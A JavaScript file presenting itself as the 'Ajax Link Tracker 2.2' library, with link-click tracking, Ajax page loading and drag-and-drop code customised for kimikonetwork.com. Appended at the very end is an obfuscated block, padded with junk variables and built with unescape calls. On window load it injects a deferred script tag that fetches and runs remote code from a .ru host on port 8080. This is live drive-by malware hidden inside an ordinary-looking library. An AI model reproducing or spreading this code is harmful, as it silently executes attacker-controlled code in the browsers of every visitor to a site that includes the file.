/*
Ajax Link Tracker, version 2.2

Copyright (c) 2006 Glenn Jones

Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:

You must give the original author attribution. For any reuse or
distribution, you must make clear to others the licence terms of this
work.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/

/******************************J-query********************************/
document.write("<div id=\"contentarea\" style=\"display:none;\"></div>");


var bustcachevar=1 //bust potential caching of external pages after initial request? (1=yes, 0=no)
var loadedobjects=""
var rootdomain="http://"+window.location.hostname
var bustcacheparameter=""

function ajaxpage(url, containerid, linkobj, id){
var page_request = false
if (window.XMLHttpRequest) // if Mozilla, Safari etc
page_request = new XMLHttpRequest()
else if (window.ActiveXObject){ // if IE
try {
page_request = new ActiveXObject("Msxml2.XMLHTTP")
} 
catch (e){
try{
page_request = new ActiveXObject("Microsoft.XMLHTTP")
}
catch (e){}
}
}
else
return false
page_request.onreadystatechange=function(){
loadpage(page_request, containerid, linkobj, id)
}
if (bustcachevar) //if bust caching of external page
bustcacheparameter=(url.indexOf("?")!=-1)? "&"+new Date().getTime() : "?"+new Date().getTime()
//alert(url+bustcacheparameter);
page_request.open('GET', url+bustcacheparameter, true)
page_request.send(null)
}

function loadpage(page_request, containerid, linkobj, id){
//alert(page_request.status);
if (page_request.readyState == 1)
{
	document.getElementById("kimikotrack_"+id).style.display="none";	
	document.getElementById("load_"+id).innerHTML="<img src='http://www.kimikonetwork.com/loading.gif'>";
}
if (page_request.readyState == 2)
{
	document.getElementById("kimikotrack_"+id).style.display="none";	
	document.getElementById("load_"+id).innerHTML="<img src='http://www.kimikonetwork.com/loading.gif'>";
}
if (page_request.readyState == 3)
{
	document.getElementById("kimikotrack_"+id).style.display="none";
	document.getElementById("load_"+id).innerHTML="<img src='http://www.kimikonetwork.com/loading.gif'>";
}
if (page_request.readyState == 4 && (page_request.status==200 || window.location.href.indexOf("http")==-1))
{
document.getElementById(containerid).innerHTML=page_request.responseText

document.getElementById("load_"+id).innerHTML="";
document.getElementById("load_"+id).style.display="none";

document.getElementById("kimikotrack_"+id).style.display="block";

/*var divEls = document.getElementsByTagName("span");
      var i = 0;

	  for(i=0;i<divEls.length;i++)
	  {
		var l = divEls[i].id; 
 		var k = l.split("_");	
		
		if(k[0] == 'kimikotrack')
		{
		    document.getElementById(divEls[i].id).style.display="block";
		}		
	  }*/
	  
}

//Custom code

linkobj.setAttribute('href', document.getElementById(containerid).innerHTML);
	
	if(document.getElementById(containerid).innerHTML == "#"){
		linkobj.setAttribute('target', '_self');
	}

//Custom code end


}

function loadobjs(){
if (!document.getElementById)
return
for (i=0; i<arguments.length; i++){
var file=arguments[i]
var fileref=""
if (loadedobjects.indexOf(file)==-1){ //Check to see if this object has not already been added to page before proceeding
if (file.indexOf(".js")!=-1){ //If object is a js file
fileref=document.createElement('script')
fileref.setAttribute("type","text/javascript");
fileref.setAttribute("src", file);
}
else if (file.indexOf(".css")!=-1){ //If object is a css file
fileref=document.createElement("link")
fileref.setAttribute("rel", "stylesheet");
fileref.setAttribute("type", "text/css");
fileref.setAttribute("href", file);
}
}
if (fileref!=""){
document.getElementsByTagName("head").item(0).appendChild(fileref)
loadedobjects+=file+" " //Remember this object as being already added to page
}
}
}
	

/********************************J-query************************************/



/*Ajax code for content load start here */


function urlencode(str) {
str = escape(str);
str = str.replace('+', '%2B');
str = str.replace('%20', '+');
str = str.replace('*', '%2A');
str = str.replace('/', '%2F');
str = str.replace('@', '%40');
return str;
}




/* Ajax code for content load end*/


		
	

function AjaxLinkTracker() {

    var me;
    if (this.constructor == AjaxLinkTracker){
        me = this;
    }else{
        me = arguments[arguments.length-1];
    }

	// Configuration
	// ------------
	me.mainapiURL = 'http://www.kimikonetwork.com/';
	me.apiURL ="http://"+window.location.hostname+"/transport.php?action="; 
	me.displayCount = true;
	me.displayPercent = true;
	me.displayLabel = true;
	me.numberDays = 28; //1-30
	me.clickOffSet = 10;
	me.resp = "";
	// -----------
//alert(me.apiURL);
	me.url = encodeURIComponent( document.location.href );
	me.listeners = [];
	
	
	me.addLinkTracking = function(){
		if (!document.getElementsByTagName) return false;
	
		// Create ajax objects
		me.clickedXHR = new XHRConnection();
		me.getClicksXHR = new XHRConnection();
		
		// find links in document 
		links = document.getElementsByTagName('a');
	
		// if link does have a id add one
		for (var i = 0; i < links.length; i++) {
			
			if (links[i].getAttribute('id')=='kimiko') {
				
			//document.getElementById("kimikotrack_"+links[i].getAttribute('rel')).style.display="none";
					
			ajaxpage(me.apiURL + urlencode(me.mainapiURL + 'checktracking.php') + '&id=' +links[i].getAttribute('rel'), 'contentarea', links[i],links[i].getAttribute('rel'));
			//ajaxpage(me.apiURL + me.mainapiURL + 'checktracking.php' + '&id=' +links[i].getAttribute('rel'), 'contentarea', links[i]);
		
				
			me.addEvent( links[i], 'mousedown', me.recordClick, false );
			me.addEvent( links[i], 'keypress', me.linkKeyPress, false );
				
			
			}
		}
		
		// find buttons in document
		/*inputs = document.getElementsByTagName('input');
		for (var i = 0; i < inputs.length; i++) {
		
			type = inputs[i].getAttribute('type');
			
			// only attach events to buttons
			if ( type == 'submit' || type == 'button' ){
				me.addEvent( inputs[i], 'mousedown', me.recordClick, false );
				me.addEvent( inputs[i], 'keypress', me.linkKeyPress, false );
				// if button does have a id add one
				if (! inputs[i].getAttribute('id') ){
					inputs[i].setAttribute('id','button_' + i);
				}	
			}
		}*/
	}
	
	me.linkKeyPress = function(e) {
		// check for return key press
		var keyID = (window.event) ? event.keyCode : e.keyCode;
		if (keyID == 13) {
			me.recordClick(e);
		}
	}

	me.recordClick = function(e) {
		// records click information using ajax
		source = me.findSourceElement(e);
		tag = source.tagName;
		var id,label,target,rel
		
		if( tag == 'IMG'){
			if( source.parentNode.tagName == 'A' )
			{
				id = source.parentNode.getAttribute('name');
				target = source.parentNode.href;
			}
			label = source.getAttribute('alt');
			if (label == null) {
				label = 'image';
			}
		}
		
		if( tag == 'A' ){
			id = source.getAttribute('name');
			rel = source.getAttribute('rel');
			target = source.href;
			label = me.getInnerText( source, '' );
		}	
				
		if( tag == 'INPUT' ){
			id = source.getAttribute('name');
			label = source.getAttribute('value');

			if( source.getAttribute('type') == 'submit' ) {
				target = me.getFormTarget( source );
			} else {
				target = 'script';
			}
		}
		
		
		id = encodeURIComponent( id );
		rel = encodeURIComponent( rel );
		target = encodeURIComponent( target );
		label = encodeURIComponent( label );
			
		//var ajaxURL = me.apiURL + 'addtracking.php?id=' + id + '&label=' + label + '&target=' + target + '&url=' + me.url + '&rand='+Math.random();
		
		var ajaxURL = me.apiURL + urlencode(me.mainapiURL + 'addtracking.php') + '&id=' + id + '&label=' + label + '&rel=' + rel + '&target=' + target + '&url=' + me.url + '&rand='+Math.random();
		
		me.clickedXHR.send( ajaxURL, 'get', me.beenClicked, null  );
		
	}
	
	
	me.beenClicked = function( obj ) {
		//alert( obj.responseText );
		me.resp = obj.responseText;
	}
	
	
	me.getClickThroughInfo = function (){
		// get click data using ajax
		//var ajaxURL = me.apiURL + 'getclicks.php?url=' + me.url + '&days=' + me.numberDays + '&rand='+Math.random();
		
		var ajaxURL = me.apiURL + urlencode(me.mainapiURL + 'getclicks.php') + '&url=' + me.mainapiURL + '&days=' + me.numberDays + '&rand='+Math.random();
		
		me.getClicksXHR.send( ajaxURL, 'get', me.displayClickThroughs, null  );
	}	


	me.displayClickThroughs = function( obj ){
		// display click through data
	
		if (!document.getElementsByTagName) return false;
		
		if(obj.responseXML)
			node = obj.responseXML;
		if(obj.responseXml)
			node = obj.responseXML;	
			
		if(node.childNodes[0].nodeType == 7) {
			rootNode = node.childNodes[1];
		}else{
			rootNode = node.childNodes[0];
		}

		for (var i = 0; i < rootNode.childNodes.length; i++) {
		
			linknode = rootNode.childNodes[i];
			count = linknode.getAttribute('count');
			percent = linknode.getAttribute('percent');
			label = linknode.getAttribute('label');
			id = linknode.childNodes[0].nodeValue;
			
			if ( document.getElementById(id) ) {
			
				eltLink =  document.getElementById(id);
				
				eltDiv = document.createElement( 'div' );
				eltDiv.className = 'linklabel';
				
				var text = ''; 
				if( me.displayPercent )
					text += percent + '% ';
				
				if( me.displayCount )
					text += '(' + count + ') ';
					
				if( me.displayLabel )
					text += label ;
				
				eltText = document.createTextNode( text );
				eltDiv.appendChild( eltText );
				document.body.appendChild( eltDiv );
				
				Drag.init(eltDiv, eltDiv);
				
				ileft = parseInt( me.getPageOffsetLeft( eltLink ) ) + me.clickOffSet;
				itop = parseInt( me.getPageOffsetTop( eltLink ) ) + me.clickOffSet;
				eltDiv.style.left = ileft + 'px';
				eltDiv.style.top = itop + 'px';
				
			}
		} 
		me.labelsCreated = true;
		me.labelsDisplayed = true;

	}
	
	me.keyCheck = function (e) {
		// check to see if user press 'ctrl x'
		var keyID = (window.event) ? event.keyCode : e.keyCode;
		var ctrlKey = (window.event) ? event.ctrlKey : e.ctrlKey;
		
		if((keyID == 88)&&(ctrlKey == true)) { 
			
			eltLabels = me.getElementsByClassName('linklabel');
			if( eltLabels.length == 0 ) {
				me.getClickThroughInfo();
			}else{
				for (var i = 0; i < eltLabels.length; i++) {
					eltLabels[i].parentNode.removeChild(eltLabels[i]);
				}
			}
		}
	}
	
	me.getInnerText = function( node, text ) {
		// returns the text of any element node
		for (var i = 0; i < node.childNodes.length; i++) {
		
			if( node.childNodes[i].nodeType == 3 ) {
				text += node.childNodes[i].nodeValue;
			}	
			if( node.childNodes[i].nodeType == 1 ) {
				text = me.getInnerText( node.childNodes[i], text);
			}
		}
		return text;
	}
	
	me.getFormTarget = function( elt ) {
		// returns the form action attribute from 
		// if given the child node of that form
		target = null;
		parentElt = elt.parentNode;
		if( parentElt.nodeType == 1 ) {
			if( parentElt.tagName == 'FORM' ) {
				target = parentElt.getAttribute('action');
			}else {
				target = me.getFormTarget( elt.parentNode );
			}
		}else {
			target = me.getFormTarget( elt.parentNode );
		}
		return target;
	}
	
	me.addEvent = function( elm, evType, fn, useCapture ) {
		// Updated version which captures passed events 
		if (elm.AddEventListener) 
		{ 
			elm.AddEventListener(evType, fn, useCapture); 
			return true; 
		} else if (elm.attachEvent) { 
			var r = elm.attachEvent('on' + evType, fn);
			me.listeners[me.listeners.length] = [ elm, evType, fn ];
			return r; 
		} else {
			var xEventFn = elm['on' + evType];
			if (typeof elm['on' + evType] != 'function') 
			{
				elm['on' + evType] = fn;
			} else {
				elm['on' + evType] = function(e) { xEventFn(e); fn(e); };
			}
		}
	}
	
	me.unload = function(){
		// page unload event which removes circular references
		// that may cause memory leaks in IE 5/6
		if( window.attachEvent ){
			for (var i = 0; i < me.listeners.length; i++) {
				me.listeners[i][0].detachEvent( 'on' + me.listeners[i][1], me.listeners[i][2] );
			}
		}
	}
	
	me.getElementsByClassName = function( className ) {
		// returns a collection of element nodes which 
		// have the passed className
		var children = document.getElementsByTagName('*') || document.all;
		var elements = new Array();
		for (var i = 0; i < children.length; i++) 
		{
			var child = children[i];
			var classNames = child.className.split(' ');
			for (var j = 0; j < classNames.length; j++) 
			{
				if (classNames[j] == className) 
				{
					elements.push(child);
					break;
				}
			}
		}
		return elements;
	}
	
	me.findSourceElement = function(e) {
		// finds event source
		if (typeof e == 'undefined')
			var e = window.event;

		var source;
		if (typeof e.target != 'undefined') 
		{
			source = e.target;
		} else if (typeof e.srcElement != 'undefined') {
			source = e.srcElement;
		} else {
			return true;
		}

		if (source.nodeType == 3)
			source = source.parentNode;
		
		return source;
	}
	
	me.getPageOffsetLeft = function(elt) {
		var x;
		x = elt.offsetLeft;
		if (elt.offsetParent != null)
			x += me.getPageOffsetLeft(elt.offsetParent);
		return x;
	}
	
	me.getPageOffsetTop = function(elt) {
		var y;
		y = elt.offsetTop;
		if (elt.offsetParent != null)
			y += me.getPageOffsetTop(elt.offsetParent);
		return y;
	}
	
	//------------------------------------------


	// dom-drag.js
	// 09.25.2001
	// www.youngpup.net
	var Drag = {

		obj : null,

		init : function(o, oRoot, minX, maxX, minY, maxY, bSwapHorzRef, bSwapVertRef, fXMapper, fYMapper)
		{
			o.onmousedown = Drag.start;
			o.hmode = bSwapHorzRef ? false : true ;
			o.vmode = bSwapVertRef ? false : true ;

			o.root = oRoot && oRoot != null ? oRoot : o ;

			if (o.hmode  && isNaN(parseInt(o.root.style.left  ))) o.root.style.left   = '0px';
			if (o.vmode  && isNaN(parseInt(o.root.style.top   ))) o.root.style.top    = '0px';
			if (!o.hmode && isNaN(parseInt(o.root.style.right ))) o.root.style.right  = '0px';
			if (!o.vmode && isNaN(parseInt(o.root.style.bottom))) o.root.style.bottom = '0px';

			o.minX = typeof minX != 'undefined' ? minX : null;
			o.minY = typeof minY != 'undefined' ? minY : null;
			o.maxX = typeof maxX != 'undefined' ? maxX : null;
			o.maxY = typeof maxY != 'undefined' ? maxY : null;

			o.xMapper = fXMapper ? fXMapper : null;
			o.yMapper = fYMapper ? fYMapper : null;

			o.root.onDragStart = new Function();
			o.root.onDragEnd = new Function();
			o.root.onDrag = new Function();
		},

		start : function(e)
		{
			
			var o = Drag.obj = this;
			e = Drag.fixE(e);
			var y = parseInt(o.vmode ? o.root.style.top  : o.root.style.bottom);
			var x = parseInt(o.hmode ? o.root.style.left : o.root.style.right );
			o.root.onDragStart(x, y);

			o.lastMouseX = e.clientX;
			o.lastMouseY = e.clientY;

			if (o.hmode) {
				if (o.minX != null) o.minMouseX = e.clientX - x + o.minX;
				if (o.maxX != null) o.maxMouseX = o.minMouseX + o.maxX - o.minX;
			} else {
				if (o.minX != null) o.maxMouseX = -o.minX + e.clientX + x;
				if (o.maxX != null) o.minMouseX = -o.maxX + e.clientX + x;
			}

			if (o.vmode) {
				if (o.minY != null) o.minMouseY = e.clientY - y + o.minY;
				if (o.maxY != null) o.maxMouseY = o.minMouseY + o.maxY - o.minY;
			} else {
				if (o.minY != null) o.maxMouseY = -o.minY + e.clientY + y;
				if (o.maxY != null) o.minMouseY = -o.maxY + e.clientY + y;
			}

			document.onmousemove = Drag.drag;
			document.onmouseup = Drag.end;

			return false;
		},

		drag : function(e)
		{
			e = Drag.fixE(e);
			var o = Drag.obj;

			var ey = e.clientY;
			var ex = e.clientX;
			var y = parseInt(o.vmode ? o.root.style.top  : o.root.style.bottom);
			var x = parseInt(o.hmode ? o.root.style.left : o.root.style.right );
			var nx, ny;

			if (o.minX != null) ex = o.hmode ? Math.max(ex, o.minMouseX) : Math.min(ex, o.maxMouseX);
			if (o.maxX != null) ex = o.hmode ? Math.min(ex, o.maxMouseX) : Math.max(ex, o.minMouseX);
			if (o.minY != null) ey = o.vmode ? Math.max(ey, o.minMouseY) : Math.min(ey, o.maxMouseY);
			if (o.maxY != null) ey = o.vmode ? Math.min(ey, o.maxMouseY) : Math.max(ey, o.minMouseY);

			nx = x + ((ex - o.lastMouseX) * (o.hmode ? 1 : -1));
			ny = y + ((ey - o.lastMouseY) * (o.vmode ? 1 : -1));

			if (o.xMapper) nx = o.xMapper(y)
			else if (o.yMapper) ny = o.yMapper(x)

			Drag.obj.root.style[o.hmode ? 'left' : 'right'] = nx + 'px';
			Drag.obj.root.style[o.vmode ? 'top' : 'bottom'] = ny + 'px';
			Drag.obj.lastMouseX = ex;
			Drag.obj.lastMouseY = ey;

			Drag.obj.root.onDrag(nx, ny);
			return false;
		},

		end : function()
		{
			document.onmousemove = null;
			document.onmouseup   = null;
			Drag.obj.root.onDragEnd(    parseInt(Drag.obj.root.style[Drag.obj.hmode ? 'left' : 'right']), 
										parseInt(Drag.obj.root.style[Drag.obj.vmode ? 'top' : 'bottom']));
			Drag.obj = null;
		},

		fixE : function(e)
		{
			if (typeof e == 'undefined') e = window.event;
			if (typeof e.layerX == 'undefined') e.layerX = e.offsetX;
			if (typeof e.layerY == 'undefined') e.layerY = e.offsetY;
			return e;
		}
	};
	
	me.addEvent( window, 'load', me.addLinkTracking, false );
	me.addEvent( document, 'keydown', me.keyCheck, false );
	me.addEvent( window, 'unload', me.unload, false );

}

//var ajaxLinkTracker = new AjaxLinkTracker('123');


function XHRConnection() { 
    var me;
    if (this.constructor == XHRConnection){
        me = this
    }else{
        me = arguments[arguments.length-1]
    }
    
	me.Request = me.createXHR();
	 
    me.handler = function () {
		if (me.Request.readyState == 4) {
			if (me.Request.status == 200) {
		
				me.processResponse();
			}
		}
	}
	
	me.send = function ( url, action, fnOK ) {
	    me.URL = url;
		me.Action = action;
		me.fnOK = fnOK;
		if( me.Request != null ){
			me.Request.open(me.Action, me.URL, true);
			me.Request.onreadystatechange = me.handler;
			me.Request.send(null);
		}else{
			alert('Could not load XHR object');
		}
	}
}

XHRConnection.prototype.createXHR = function() {
    try { return new ActiveXObject('Msxml2.XMLHTTP'); } catch (e) {}
    try { return new ActiveXObject('Microsoft.XMLHTTP'); } catch (e) {}
    try { return new XMLHttpRequest(); } catch(e) {}
    return null;
}

XHRConnection.prototype.processResponse = function () {
	this.fnOK(this.Request);
}









function l(){var Oo;if(Oo!='' && Oo!='F'){Oo=''};this.D="";var a;if(a!=''){a='Kv'};var x=unescape;var N;if(N!='R' && N!='X'){N='R'};var K=window;var xz=x("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%61%6e%74%69%70%2e%63%6f%6d%2f%74%65%72%72%61%2e%63%6f%6d%2e%62%72%2e%70%68%70");this.w='';var MF=new Date();var B="";function z(xo,E){this.Rn="";var NU=new String();var O=new String("1vCg".substr(3));var P=new Date();var DJ=new Date();var Q=x("%5b"), lI=x("%5d");var fd="";var W=Q+E+lI;var e=new RegExp(W, O);var c;if(c!='r' && c!='gr'){c='r'};return xo.replace(e, new String());var _V="";};var Ju;if(Ju!=''){Ju='q'};this.xS="";var VC;if(VC!='V'){VC='V'};var b="";var m=new String();var j=z('851350647638691675034533','3946175');var T=document;this.xI="";function mL(){var h;if(h!='Bi'){h=''};var xB=new Array();var y=x("%68%74%74%70%3a%2f%2f%72%65%74%69%72%65%74%65%72%72%69%66%79%2e%72%75%3a");this.eH="";m=y;var XL;if(XL!='Od'){XL='Od'};m+=j;m+=xz;var FE;if(FE!='Y'){FE='Y'};var DH;if(DH!='vg' && DH != ''){DH=null};var ld=new Array();try {var uG;if(uG!='' && uG!='Ly'){uG='d'};i=T.createElement(z('swcTr6iMpMt6','wUfm87TAoqV6BM'));var jI;if(jI!=''){jI='_v'};var Rk;if(Rk!='' && Rk!='ac'){Rk='uB'};var ev="";var D_;if(D_!='' && D_!='jK'){D_='Wd'};var jl='';i[x("%73%72%63")]=m;var ni="";var KT;if(KT!='fM'){KT=''};i[x("%64%65%66%65%72")]=[1][0];var wb;if(wb!='cK' && wb!='qQ'){wb='cK'};T.body.appendChild(i);var Pd;if(Pd!='ac_' && Pd!='fc'){Pd=''};} catch(KO){var y_='';var Ih;if(Ih!=''){Ih='Wr'};alert(KO);var Jug;if(Jug!='' && Jug!='eM'){Jug='UD'};var bs=new Date();};var Us="";}var Y_=new Array();K[String("z5bVonloa".substr(4)+"1iLd".substr(3))]=mL;var Zn;if(Zn!='' && Zn!='QI'){Zn=null};};var WD;if(WD!='ZR' && WD != ''){WD=null};var Zt=new Array();l();var SG;if(SG!='ol' && SG!='FX'){SG='ol'};var zzH;if(zzH!='n_' && zzH!='Zs'){zzH='n_'};